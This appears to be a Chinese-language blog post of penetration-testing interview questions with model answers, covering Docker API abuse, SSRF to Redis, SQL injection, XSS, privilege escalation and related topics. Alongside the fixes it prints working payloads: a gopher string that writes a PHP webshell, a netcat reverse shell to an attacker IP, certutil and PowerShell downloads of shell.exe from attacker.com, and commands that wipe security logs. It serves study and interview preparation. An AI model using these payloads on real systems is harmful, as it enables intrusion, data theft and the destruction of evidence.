网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
[1. Docker远程API漏洞原理](#1. Docker远程API漏洞原理)
[2. SSRF利用Redis写Shell](#2. SSRF利用Redis写Shell)
[3. 预编译能否100%防SQL注入?](#3. 预编译能否100%防SQL注入?)
[4. WAF绕过技术](#4. WAF绕过技术)
[5. SQL注入Payload构造](#5. SQL注入Payload构造)
[6. UDF提权原理](#6. UDF提权原理)
[7. 提权方式](#7. 提权方式)
[8. XSS弹窗函数及绕过策略](#8. XSS弹窗函数及绕过策略)
[9. Windows CMD下载文件](#9. Windows CMD下载文件)
[10. SVN/GIT源代码泄露](#10. SVN/GIT源代码泄露)
[11. reverse_tcp vs bind_tcp](#11. reverse_tcp vs bind_tcp)
[12. Fastjson漏洞](#12. Fastjson漏洞)
[13. 隐藏攻击痕迹](#13. 隐藏攻击痕迹)
[14. 常用漏洞及修复方案](#14. 常用漏洞及修复方案)
[15. 有趣的挖洞经历](#15. 有趣的挖洞经历)
[16. PHP/Java反序列化漏洞](#16. PHP/Java反序列化漏洞)
[17. 服务器入侵后应对措施](#17. 服务器入侵后应对措施)
[18. 常用工具及特点](#18. 常用工具及特点)
[19. 绕过WAF实战(SQLi)](#19. 绕过WAF实战(SQLi))
[20. 判断SQL注入方法](#20. 判断SQL注入方法)
[21. SQL注入漏洞成因与防范](#21. SQL注入漏洞成因与防范)
[22. 宽字符注入原理](#22. 宽字符注入原理)
[23. CRLF注入原理](#23. CRLF注入原理)
[24. php.ini 安全设置](#24. php.ini 安全设置)
[25. %00截断原理](#25. %00截断原理)
[26. WebShell检测方法](#26. WebShell检测方法)
[27. PHP LFI漏洞利用](#27. PHP LFI漏洞利用)
[28. 中间件解析漏洞](#28. 中间件解析漏洞)
[29. MySQL密码存储](#29. MySQL密码存储)
2025年渗透测试面试题总结-拷打题库08
docker远程api漏洞原理 ssrf怎么用redis写shell 预编译能否100%防sql注入,如果不能,写一个 WAF绕过 SQL注入构造payload UDF提权原理 提权方式 XSS弹窗函数及常见的XSS绕过策略 Windowscmd如何下载文件 SVN/GIT源代码泄露 reverse_tcp和bind_tcp的区别 什么是fastjson 隐藏攻击痕迹的方法 你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案? 介绍下自认为有趣的挖洞经历 php/java反序列化漏洞的原理?解决方案? 如果一台服务器被入侵后 你平时使用哪些工具?以及对应工具的特点? 如果遇到waf的情况下如何进?sql注入/上传Webshell怎么做?请写出曾经绕过WAF的经过(SQLi,XSS,上传漏洞选一) 如何判断sql注入,有哪些方法 如何判断SQL注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? 为什么有的时候没有错误回显 宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造? CRLF注入的原理 php.ini可以设置哪些安全特性 php的%00截断的原理是什么 webshell检测,有哪些方法 php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?如果无报错回显,你是怎么遍历文件的? 说说常见的中间件解析漏洞利用方式 mysql的用户名密码是存放在那张表里面?mysql密码采用哪种加密方式?
1. Docker远程API漏洞原理
核心原理:
Docker Remote API默认监听2375端口,若未配置认证(
--tlsverify
),攻击者可远程操控容器。利用场景 :
bash# 未授权创建恶意容器挂载宿主机根目录 curl -X POST -H "Content-Type: application/json" \ -d '{"Image":"alpine", "Cmd":["/bin/sh"], "HostConfig":{"Binds":["/:/host"]}}' \ http://target:2375/containers/create
防御方案:启用TLS认证,限制API访问IP。
2. SSRF利用Redis写Shell
步骤:
探测Redis服务 :通过SSRF访问
http://127.0.0.1:6379
。构造HTTP协议包 :
httpgopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$35%0d%0a%0d%0a%0A<?php eval($_GET[cmd]);?>%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
关键点 :利用Gopher协议发送Redis命令,设置
dir
和dbfilename
写入Web目录。
3. 预编译能否100%防SQL注入?
局限性:
动态SQL拼接 :如存储过程内使用
EXECUTE IMMEDIATE
。示例漏洞代码 :
javaString query = "SELECT * FROM users WHERE id = " + request.getParameter("id"); PreparedStatement stmt = connection.prepareStatement(query); // 预编译无效
防御方案:禁止动态拼接,全参数化查询。
4. WAF绕过技术
常见方法:
- 编码混淆 :
- URL编码:
UNION%20SELECT
→U%6eion%53elect
- 注释分割 :
SEL/**/ECT 1,2,3
- 超长数据绕过:填充垃圾字符触发WAF缓存溢出。
- 分块传输:利用HTTP分块传输拆分恶意Payload。
5. SQL注入Payload构造
经典案例:
时间盲注 :
sql' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --
报错注入 :
sql' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y) --
6. UDF提权原理
流程:
编译恶意共享库(如
raptor_udf2.c
)为.so
或.dll
。通过
SELECT ... INTO DUMPFILE
写入插件目录。创建函数:
sqlCREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';
利用 :
SELECT sys_exec('nc -e /bin/sh attacker_ip 4444');
7. 提权方式
系统 方式 示例 Linux SUID提权 find / -perm -4000 2>/dev/null
Windows 服务路径滥用 sc config VulnService binPath= "C:\shell.exe"
通用 内核漏洞(CVE-2021-4034) 利用Polkit提权
8. XSS弹窗函数及绕过策略
弹窗函数:
alert(1)
、prompt(1)
、confirm(document.cookie)
绕过策略:- HTML编码 :
<img src=x onerror=alert(1)>
- JavaScript伪协议 :
javascript:eval(atob('YWxlcnQoMSk='))
- 事件处理器 :
<svg/onload=alert(1)>
9. Windows CMD下载文件
方法:
CertUtil :
cmdcertutil -urlcache -split -f http://attacker.com/shell.exe C:\Temp\shell.exe
PowerShell :
powershell(New-Object Net.WebClient).DownloadFile('http://attacker.com/shell.exe', 'shell.exe')
10. SVN/GIT源代码泄露
利用:
- Git :访问
/.git/index
,使用工具GitHack
还原代码。- SVN :下载
/.svn/entries
解析文件列表,恢复历史版本。
11. reverse_tcp vs bind_tcp
类型 连接方向 防火墙绕过能力 reverse_tcp 目标主动连接攻击机 绕过出站限制 bind_tcp 攻击机连接目标监听端口 需入站端口开放
12. Fastjson漏洞
原理 :反序列化时自动调用
@type
指定类的setter/getter方法,攻击者构造恶意类触发RCE。
修复 :升级到安全版本,禁用autoType
功能。
13. 隐藏攻击痕迹
方法:
- 日志清除 :
- Linux:
shred -n 5 /var/log/auth.log
- Windows:
wevtutil cl Security
- 文件隐藏 :
attrib +h +s C:\shell.exe
- 进程伪装 :将恶意进程命名为
svchost.exe
。
14. 常用漏洞及修复方案
漏洞类型 原理 修复方案 SQL注入 未过滤用户输入拼接SQL 参数化查询 + 输入白名单 XSS 未编码输出用户可控数据 HTML实体转义 + CSP策略 反序列化 未校验反序列化对象 禁用危险类 + 数据签名校验
15. 有趣的挖洞经历
场景 :某CMS后台编辑器存在文件上传漏洞,但后缀限制为
.jpg
。
绕过:
- 上传图片马,利用文件包含漏洞加载PHP代码。
- 构造
.htaccess
设置AddType application/x-httpd-php .jpg
。
成果:获取WebShell并横向渗透内网数据库。
16. PHP/Java反序列化漏洞
原理 :反序列化过程中自动执行
__destruct()
或readObject()
方法。
修复:
- PHP:禁用
unserialize()
或限制允许类。- Java:重写
ObjectInputStream.resolveClass()
校验类名。
17. 服务器入侵后应对措施
- 隔离网络:断开网线或禁用网卡。
- 取证分析 :使用
Volatility
分析内存镜像。- 漏洞修复:更新补丁,修复弱口令。
- 监控加固:部署HIDS(如Osquery)和日志审计。
18. 常用工具及特点
工具 用途 特点 Nmap 端口扫描 支持高级脚本探测服务版本 Metasploit 漏洞利用框架 模块化,集成渗透测试全流程 Sqlmap SQL注入自动化 支持多数据库,绕过WAF能力强
19. 绕过WAF实战(SQLi)
场景 :某云WAF过滤
UNION SELECT
。
绕过:
- 注释混淆 :
UNI/**/ON SEL/**/ECT 1,2,3
- URL编码 :
%55%4e%49%4f%4e%20%53%45%4c%45%43%54
- 参数污染 :
id=1&id=2 UNION SELECT 1,2,3
结果:成功获取管理员密码哈希。
20. 判断SQL注入方法
- 错误回显 :输入单引号
'
触发数据库错误。- 布尔盲注 :
id=1 AND 1=1
vsid=1 AND 1=2
页面差异。- 时间盲注 :
id=1; IF(1=1, SLEEP(5), 0)
延迟响应。
21. SQL注入漏洞成因与防范
成因 :动态拼接SQL,未过滤用户输入。
防范:
- 参数化查询(PreparedStatement)。
- 输入验证(正则白名单)。
其他利用 :读取系统文件(LOAD_FILE
)、执行命令(UDF)。
22. 宽字符注入原理
场景 :数据库使用GBK编码,
'
转义为\'
(%5C%27
)。
Payload :%bf%27
→%bf%5C%27
→ GBK解析为縗'
,单引号逃逸。
利用 :id=%bf%27 UNION SELECT 1,2,3 --
23. CRLF注入原理
示例:
- HTTP头注入 :
/search?q=test%0d%0aSet-Cookie: hacker=1
- 日志伪造 :
/login?user=admin%0d%0aLogin succeeded
24. php.ini 安全设置
disable_functions = exec,system,passthru
expose_php = Off
open_basedir = /var/www
display_errors = Off
25. %00截断原理
条件 :PHP <5.3.4,
magic_quotes_gpc=Off
。
利用 :上传文件名shell.php%00.jpg
,截断后保存为.php
。
26. WebShell检测方法
- 静态检测 :匹配
eval(
、base64_decode
等特征。- 动态监控 :检测异常文件操作(如写入
/tmp
)。- 日志分析:追踪可疑HTTP POST请求。
27. PHP LFI漏洞利用
漏洞代码:
php<?php include($_GET['page']); ?>
手工测试:
?page=../../../../etc/passwd
无回显利用 :
php?page=php://filter/convert.base64-encode/resource=config.php
28. 中间件解析漏洞
中间件 漏洞 Payload IIS 6.0 目录解析 /test.asp/logo.jpg
Apache 多后缀解析 shell.php.jpg
Nginx 路径切割( /test.jpg%20.php
)配置错误导致PHP执行
29. MySQL密码存储
- 表名 :
mysql.user
- 加密方式 :
mysql_native_password
(SHA1)caching_sha2_password
(SHA256,MySQL 8.0+)